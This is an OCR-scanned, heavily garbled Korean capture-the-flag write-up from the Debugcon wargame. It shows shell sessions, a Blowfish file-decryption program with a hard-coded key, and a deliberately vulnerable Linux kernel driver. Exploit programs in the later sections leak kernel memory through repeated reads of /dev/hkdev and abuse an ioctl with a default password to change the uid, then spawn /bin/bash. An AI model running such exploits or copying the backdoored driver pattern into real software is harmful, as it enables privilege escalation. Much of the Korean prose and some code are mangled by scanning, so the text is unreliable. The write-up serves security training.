[amadoh4ck@debugcon ~/level5]$ Is —laF

total 5534

drwxr-xr-x 4 amadoh4ck wheel Mar 25 16:50 ./
drwxr=xr-x amadohdck wheel Mar 25 02:25 ../
“TW-T—1— amadoh4ck wheel Mar 25 03:22 What.mp3
—TWXT =X —X amadoh4ck wheel Mar 25 16:49 blowfish_filex
—TW-r—r—— amadoh4ck wheel Mar 25 16:49 blowfish_file.c
“TW-T—1— amadoh4ck wheel Mar 25 16:50 log.txt
drwxr=xr-x amadohdck wheel Mar 25 16:51 split/

—TWXT =XT =X amadoh4ck wheel Mar 25 16:22 split_filex
—rw-r—r—— 1 amadohdck wheel Mar 25 16:21 split_file.c
drwxr-xr-x 2 amadoh4ck wheel Mar 25 16:43 temp/

[amadoh4ck@debugcon ~/level5]$ ./blowfish_file

[amadoh4ck@debugcon ~/ level5]$ Is —laF

total 10864

drwxr-xr-x 4 amadoh4ck wheel 512 Mar 51 ./

drwxr—xr-x amadohdck wheel 1024 Mar 25 ../

—TW-r—r—— amadoh4ck wheel 5435121 Mar 122 What.mp3
——WXr——X amadoh4ck wheel 5435121 Mar :51 What_dec.mp3*
—TWXT =X —X amadoh4ck wheel 7069 Mar 149 blowfish_filex
—TW-r—r—— amadoh4ck wheel 2067 Mar 149 blowfish_file.c

“TW-r—r— amadoh4ck wheel 3064 Mar : log. txt




drwxr—xr-x
—TWXT =XT =X
—TW-T——T——

drwxr—xr-x

2 amadoh4ck
1 amadoh4ck
1 amadoh4ck

2 amadoh4ck

wheel 177664 Mar 25 16:51 split/

whee| 6593 Mar 25 16:22 split_filex
wheel| 2143 Mar 25 16:21 split_file.c

wheel 512 Mar 25 16:43 temp/

[amadoh4ck@debugcon ~/level5]$ hexdump What_dec.mp3 | more

[71h_=_[24; 1H_[K0000000 fbff 04b0 507 77b0 ab5d 266b 4e04 7e31

0000010 a353 4d0b 4448 44ba 6a33 f615 ad00 0996

0000020 423d
0000030 738d
*

0000270 738d
0000280 54dd
0000290 18cf
00002a0 5cc6
00002b0 997b
00002c0 ce7f
00002d0 6932
00002e0 39f1
000020 cebe
0000300 1ceb
*

00004e0 1ceb
000040 504d
0000500 cdcd
*

0000750 cdcd
0000760 ad19

0000770 1ac7

6fad4 8dac 1ce5 738d a5d?

abd?2 8dac 1ceb 738d a5d?

8dac 1ceb

8dac 1ceb

04b0 d0a9 5714 bd9a1

3230 a664 0e20 84e2

5999 fed6 47cb 7237

b1c5 bb30
2b3e 5cad
3df4 1e03
3034 ee80 18b5
788b 0fd6
f163 9¢20

abd?2 8dac

b6c9 a9da

c8df 96e9
2c13 598f
911e
7367 48d9
3c7¢ 98d6

1ce5 738d

fbff 04b0

3120 332d

cdcd cded

cded
45ad

8852

cded fbff
2fbe bbc9

f8d1 9bbdb

04b0 6¢28 cdsb 209¢

ddof 5f08 Oace f83b

f837 5eac 5d59 aelb

_[24;H_[K_[7mbyte 966_[27m_[24;1H_[24; 1H_[KO000780 913e eb99 {666 fOeb 355d 4729 655 e8b7

0000790 318b a7f7 96a9 d474
00007a0 a385 €028 7289 bale
00007b0 4e56 1114 54d6 7602
00007c0 83fc eb3e 2157 d553

00007d0 eeb9 b5e3 6eec ccc8

7aB82 ar78c 20b3 faf9
0665 8078 bff1 f056
€824 232e 3835 5c03
335a 4781 9f1b 17d3

998d cdcd cded cded

00007e0 cdcd cded cded cded cded cded cded cded

*




00009¢0 cdcd 0000 0000
00009d0 0000 4000 0000
00009e0 0000 0000 0000
00009f0 0000 0000 0000
*

0000c30 0000 04b2 80f f
0000c40 0000 0000 4000
0000c50 0000 0100 0000
0000c60 0000 0000 0000
*

0000ea0d 0000 0000 0000 0000 0000

0000ebO ff04 0080 0000 0000 0000

0000ecO 0000 0040 0000 0000 0800

0000ed0 0001 0000 0000 0000 0000

0000ee0 0000 0000 0000 0000 0000

_[24;H_[K_[7mbyte 1932_[27m_[24;

0001120 fbff 04b2 80ff 0000 0000
0001130 0000 0000 4000 0000 0000
0001140 0000 0100 0000 0000 0000
0001150 0000 0000 0000 0000 0000
*

0001390 0000

00013a0 0002

00013b0 0000

00013c0O 0000

*

0001600 0000

0001610 0000

0001620 0000

0001630 0000

*

0001870 0000

0001880 0000

0001890 0000

00018a0 0000

*




0001ae0 0000 0000 0000 0000 0000 0000 fbff 04b2

0001af0O 80ff 0000 0000 0000 0200 0000 0000 0000

[amadoh4ck@debugcon ~/ level5]$ exit

ro
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2 mp3 IWYUA framelt headerE ZcIoll & M AIE& AAOQICH. F=4
= 6F2CE.

#include <stdio.h>

Ju
ol

#include <ctype.h>

#include <string.h>

#define DISPLAY 1024

#def ine PAGE_LENGTH 20

int main(int argc, char *argv[])

{
unsigned char chil, ch2, ch3, ch4;
char filename[80]="./What.mp3";
char outfilename[80];
FILE #pfile, *pfile2, *pfile3;
int i =0, count = 0;
int isfirst = 1;

pfile2 = NULL:

if((pfile = fopen(filename, "rb")) == NULL)
{
printf("Sorry, can't open %s#n", filename);

return -1;

if((pfile3 = fopen("./split/Header", "wb")) == NULL)
{
printf("Sorry, can't open ./split/Headertn");

return -1;










fclose(pfile):

fclose(pfiled):

return 0;
}
Ct mp3 IS blowfish 2532 0|26t s 3tol= G AIEEH
ivec HIEZ2 ==0l A Yol =1 Keygt= 64HI0IE=Z A
pointO|C}.

/* made by amadoh4ck */

#include <stdio.h>

#include <fcntl.h>

#include <openss!/blowfish.h>

#def ine MAX_BUF_SIZE 10240

#define MAX_FILENAME_SIZE 256

void bf64_decrypt(const unsigned char xinstr, unsigned char *outstr, int len)

{

BF_KEY key:
unsigned char ivec[32];
char keystr[64];

int num;

// initialize x

num = 0;

memset(ivec, 'W0', 32);

memset (keystr, 'W0', 64);

strncpy(keystr, "The best security group. WoWHacker", 64);
BF_set_key(8key, 64, keystr);

BF_cfb64_encrypt (instr, outstr, len, &ey, ivec, &num, BF_DECRYPT):
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-1. A 23

fele BN /etc/passwd LS AHEUCH LAANMH EUE ALZA 2t B

Ck.

hk:x:501:501:: /home/hk: /bin/bash
pc:x:502:502: : /home/pc: /bin/bash
0:%:503:503: : /home/o: /bin/bash

find 8= 0IE0l0 2 AIEXE ARE I
Ct. Otci= 217 AHHS EE0I04, 218 A0
MotACH. 217 AHOIA shadow S2HS WHE
LIS 0Wl SXI0l 218 MHUHAME Jbsottta) ol A
ZH0A LHE=S 20 0.

ted 2 ClatEelor AR ZAHGHA
= shadow 20t & &
£ 2= 20l 2Het

218 MBIOIA Het= &=0t1 hk

[sixsense@localhost Debugcon]$ more 501.txt
1620693 8 drwx———— 4 hk hk 4096 Mar 24 03:21 /home/hk
1620697 8 drwx———- 2 hk hk 4096 Mar 22 14:50 /home/shadOw

AaAE A0 M0l Otefl H0F 8982 RN USS 0lcl & 22It U

char hk_password[] = "HK_KEY: this is a default password";

Ot AANAM HttMoz Al FE25 28 AEXIE joctlS Soff fEHer A
KIE2} hk_password + 8 fIXI2 IHARE (HKKEY: F12 AH MARE)I LXIGH
B fclot 2=06td dols HKLIDE €= =+ USs & + AU, JAE0H Uil
A ECt0IHHe dEB 2 MdoiE IHARESE HEH L0tg = USH Les ;
Ct. 2= UWe MARE= ol U= A0lct d=20t0 AIE=XXF obkl & RECH

int ioctl_global_hk( struct inode =inode, struct file xfilp, unsigned int cmd,

unsigned long arg )

{

int rtn, sz, c;




char *hkp = hk_password;
hkst plz;

if( (_IOC_TYPE(cmd) != HK_MAGIC) && (_IOC_NR(cmd) > LAST_NR) )
return —EINVAL;

rtn = sz = 0;
if( (sz=_l0C_SIZE(cmd)) )

{
if( _IOC_DIR(cmd) & _IOC_READ )
rtn = access_ok( VERIFY_WRITE , (void *)arg , sz );
else if( _l10C_DIR(cmd) & _IOC_WRITE )
rtn = access_ok( VERIFY_READ , (void *)arg , sz );
if(!rtn) return rtn;
}

switch( cmd )
{
case AUTH_HK:
sz = _I0C_SIZE(cmd);
rtn = access_ok( VERIFY_READ , (void *)arg , sz );

if(!rtn) return rtn;

if( (rtn = copy_from_user( (void =)&lz , (const void
*)arg , sz )) <0)

return rtn;

if( !'hk_compare( plz.key , hkp +8 ) )
{

current—>uid = current—>euid = HK_ID;

current—>gid = current—>egid = H{_ID;

break;




case TEST_CMD:
for( c=0; ¢ <100 ; ctt ) printk( "#a" );

break;

default:
printk( "this request is not being.#n" );

}

return 0;
}
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Ssize_t read_c( struct file xfilp, char *buf, size_t count, loff_t *f_pos )
{

int errn;

char buffer[] = "hi nice to meet you, i'm fine thank you and you?";

char *p = buffer;

if( 1(filp—>f_flags & (O_NONBLOCK|O_NDELAY)) )
{
printk( "this driver is not support to delay#n" );

return —-1;

if( (filp—=>f_pos) !=0)




p =p +(filp—>f_pos);
if( (errn = copy_to_user( (void =)buf , (const void =*)p , (unsigned
long)count )) < 0 )
return errn;

*f_pos = *f_pos +count;

return count;
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#include <fcnt!l.h>
#include <unistd.h>
#include <sys/ioct!.h>
#define DEVICE_FILE_NAME "/dev/hkdev"
int main(int argc, char *argv[])
{
char buf[1024];
int file_desc, i
char *msg = "linux kernel memory leak vulnerability is very frequent and
famous.");

file_desc = open(DEVICE_FILE_NAME, 0);

if (file_desc < 0) {
printf("Can't open device file: %sWn", DEVICE_FILE_NAME);
exit(-1);




for (i=0; i<100; i++)

{
read(file_desc, buf, 1024);
printf("buf: %sn", buf);

close(file_desc);
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#include <fcntl.h>
#include <unistd.h>

#include <sys/ioct!.h>

#define DEVICE_FILE_NAME "/dev/hkdev"
// ioct| define

#define HK_MAGIC k'

#define AUTH_HK _IOR( HK_MAGIC , O , hkst )
#define TEST_CMD _10( HK_MAGIC , 1)
#define LAST_NR 1

// end




int ioctl_auth(int file_desc, char *message)

{
int ret_val;
ret_val = ioct!(file_desc, AUTH_HK, &message):
if (ret_val <0) {
printf("ioct!|_auth failed:%dWn", ret_val);
exit(=1);
}
}
int main()
{

char buf[1024];
int file_desc, ret_val;
char *msg = "linux kernel memory leak vulnerability is very frequent and

famous.");

file_desc = open(DEVICE_FILE_NAME, 0);

if (file_desc < 0) {
printf("Can't open device file: %sWn", DEVICE_FILE_NAME);
exit(-1);

strncpy(buf, msg, 1023);

ret_val = ioctl_auth(file_desc, msg):

printf("uid: %d, euid: %d#n", getuid(), geteuid());

system("/bin/bash");

close(file_desc);
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hi everyone, this level is warming up!

/. format string

7-1. $-flag
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